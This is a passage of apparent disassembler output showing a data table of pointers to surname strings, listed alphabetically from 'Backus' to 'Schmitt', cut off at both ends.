offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; 